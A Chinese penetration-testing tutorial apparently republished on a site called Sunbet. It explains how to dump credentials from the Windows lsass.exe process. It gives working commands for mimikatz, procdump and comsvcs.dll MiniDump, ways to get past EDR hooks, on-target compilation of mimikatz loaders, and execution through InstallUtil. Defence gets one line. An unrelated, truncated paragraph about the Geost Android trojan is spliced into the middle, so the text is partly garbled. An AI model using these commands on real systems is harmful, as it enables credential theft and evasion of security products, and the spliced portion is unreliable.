渗透基础——从lsass.exe进程导出凭据 | Sunbet
登录
  • 欢迎进入Sunbet!
  • 如果您觉得Sunbet对你有帮助,那么赶紧使用Ctrl+D 收藏Sunbet并分享出去吧
  • 您好,这里是Sunbet!

渗透基础——从lsass.exe进程导出凭据

Sunbet_安全防护 申博 14次浏览 已收录

0x00 前言

本文将要结合自己的经验,介绍不同环境下从lsass.exe进程导出凭据的方法,结合利用思路,给出防御建议。

0x01 简介

本文将要介绍以下内容:

· 从lsass.exe进程导出凭据的常用方法。

· 限制上传文件长度时导出凭据的方法。

· 限制下载文件长度时导出凭据的方法。

0x02 从lsass.exe进程导出凭据的常用方法

1.使用mimikatz直接导出凭据

直接从lsass.exe进程的内存中导出凭据,命令如下:

mimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit

通常这种方式会被安全产品拦截。

2.通过lsass.exe进程的dmp文件导出凭据

(1)获得lsass.exe进程的dmp文件

procdump

命令如下:

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

c++实现

https://github.com/killswitch-GUI/minidump-lib

powershell实现

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1

c,实现

https://github.com/GhostPack/SharpDump

使用comsvcs.dll

示例参数如下:

rundll32 C:\windows\system32\comsvcs.dll, MiniDump 808 C:\test\lsass.dmp full

注:使用comsvcs.dll的方法可参考之前的分析文章《MiniDumpWriteDump via COM+ Services DLL》的利用测试

以上方法在原理上都是通过API MiniDumpWriteDump()获得进程的dmp文件。

而某些安全产品已经开始拦截这种行为,拦截的方法如下:

通过用户模式下的API hook,使用跳转(JMP)命令将NtReadVirtualMemory()的前5个字节修改为指向另一个内存地址。

绕过思路:

使用正确的命令覆盖被修改的前5个字节或是重写一个NtReadVirtualMemory()

参考资料:

https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6

开源工具:

https://github.com/outflanknl/Dumpert

(2)从dmp文件导出凭据

成功获得了lsass.exe进程的dmp文件后,可以借助mimikatz导出凭据,命令如下:

mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

0x03 限制上传文件长度时导出凭据的方法

如果实际的测试环境对上传文件的长度做了限制,这里给出我的解决方法:上传.cs文件,借助测试环境默认安装的.Net环境,使用csc.exe进行编译

为了应对不同的测试环境,使用的代码应该支持.Net 3.5以及更高版本。

1.使用c,实现的mimikatz直接导出凭据

Casey Smith已经实现了在c,文件中加载mimikatz,目前可供参考的代码地址:

https://github.com/re4lity/subTee-gits-backups/blob/master/PELoader.cs

剖析Geost:针对俄罗斯银行的安卓木马

概述 Android银行木马Geost是由Stratosphere实验室的Sebastian García、Maria Jose Erquiaga和Anna Shirokova首次发现。最早,他们通过监视HtBot恶意代理网络来检测到该木马。该僵尸网络以俄罗斯银行为目标,在去年发布关于该僵尸网络的研究时,受害者人数已经超过80万。 我们的研究成果揭示了Geost(Trend Micro检测为AndroidOS_Fobus.AXM)从受害者那里窃取的信息类型,并分析了僵尸网络背后恶意组织的活动,包括其运营策略以及威胁参与者与僵尸网络编码人员之间的内部通信。 基于这一有趣的发现,我们决定对恶意软件样本进行逆向工程,以更加深入地了解Geost的行为。该木马使用了混淆、加密、反射和注入非功能代码段的多种方式,使得逆向工程更加困难。为了研究代码并分析其使用的算法,我们必须首先编写Python脚本

需要注意的是这个代码封装的mimikatz版本为mimikatz 2.0 alpha (x64) release “Kiwi en C” (Aug 17 2015 00:14:48)。

这个版本在执行命令sekurlsa::logonpasswords时导出的结果不全,默认无法导出hash。

于是我在此基础上将mimikatz替换到新版本:mimikatz 2.1.1 (x64) built on Sep 25 2018 15:08:14

替换的方法是先将新版的mimikatz.exe进行Gzip压缩,再转换成base64编码,最后修改字符串KatzCompressed中的内容。

生成新字符串KatzCompressed内容的c,代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/GzipandBase64.cs

可以通过csc.exe对其进行编译,支持.Net 3.5以及更高版本。

代码执行后将生成的文件base64.txt中的内容替换字符串KatzCompressed。

替换字符串后,实现升级mimikatz版本的PELoader.cs我也上传到了github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/PELoaderofMimikatz.cs

可以通过csc.exe对其进行编译,支持.Net 3.5以及更高版本。

编译命令:

C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe PELoaderofMimikatz.cs /unsafe

or

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe PELoaderofMimikatz.cs /unsafe

导出凭据的命令:

PELoaderofMimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit

注:需要经过简单的修改,在程序中提前传入要执行的命令,可以使用InstallUtil.exe导出凭据,命令如下:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoaderofMimikatzAuto.exe

通过这种方法,可以将.cs文件上传至目标测试环境,然后使用目标测试环境自带的.Net进行编译。

2.使用c,实现的代码获得lsass.exe进程的dmp文件

类似的开源代码有很多,我在SafetyKatz的基础上做了简单的修改。

修改后的代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/DumpLsass.cs

可以通过csc.exe对其进行编译,支持.Net 3.5以及更高版本。

代码执行后在当前路径生成lsass.exe进程的dmp文件。

获得了dmp文件后可以将其下载到本地再使用mimikatz导出凭据。

0x04 限制下载文件长度时导出凭据的方法

如果实际的测试环境对下载文件的长度做了限制(有时lsass.exe进程的dmp文件压缩后也有上百MB)。

这里最简单的解决方法是对mimikatz做二次封装(删除不必要的功能,避免被查杀),在目标测试环境上从lsass.exe进程的dmp文件中导出凭据。

这里可以参考SafetyKatz,地址如下:

https://github.com/GhostPack/SafetyKatz

SafetyKatz对mimikatz进行了二次修改并封装到字符串中,参照了Casey Smith在c,文件中加载mimikatz的方法,实现以下功能:

1.获得lsass.exe进程的dmp文件并保存到temp目录

2.从dmp文件导出凭据

3.删除dmp文件

我们可以在SafetyKatz的源码中加入以下代码把封装好的exe进行还原

				FileStream fs = new FileStream(@"C:\test\1.exe", FileMode.Create);
                fs.Write(unpacked, 0, unpacked.Length);
                fs.Flush();
                fs.Close();

可以看到封装的exe是修改过的mimikatz,默认会执行一些命令,如下图

渗透基础——从lsass.exe进程导出凭据

我对SafetyKatz的代码做了简单的调整,使其支持.Net 3.5以及更高版本

修改后的代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SafetyKatz.cs

编译命令:

C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe SafetyKatz.cs /unsafe

or

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe SafetyKatz.cs /unsafe

0x05 防御检测

利用的前提是攻击者已获得了系统的管理员权限,获得lsass.exe进程的dmp文件最终会调用NtReadVirtualMemory(),可以尝试对此进行监控。

0x06 小结

本文介绍了不同环境下从lsass.exe进程导出凭据的方法,结合利用思路,给出防御建议。

本文为 3gstudent 原创稿件,授权嘶吼独家发布,


Sunbet|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明渗透基础——从lsass.exe进程导出凭据
喜欢 (0)
[]
分享 (0)